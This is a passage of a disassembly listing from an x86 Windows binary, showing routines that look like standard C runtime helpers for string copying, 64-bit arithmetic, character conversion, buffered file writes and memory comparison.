		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD39C
		call	sub_422EA8
		mov	edx, dword_4DD39C
		pop	ecx
		mov	ecx, dword_4DD398
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD39C
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD398
		sub	ecx, dword_4DD39C
		mov	dword_4DD39C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD398, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD398, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD39C, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD39C
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD39C
		mov	dword_4DD398, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBDDC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 269010Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		nop
		call	near ptr 2680C22h
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDDC, 0Dh
		mov	dword_4DBDE0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE84
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D084, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE84, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		nop
		call	near ptr 2680C22h
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE78
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE84, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBE94
		call	near ptr 26F0000h
		nop
		cmp	eax, esi
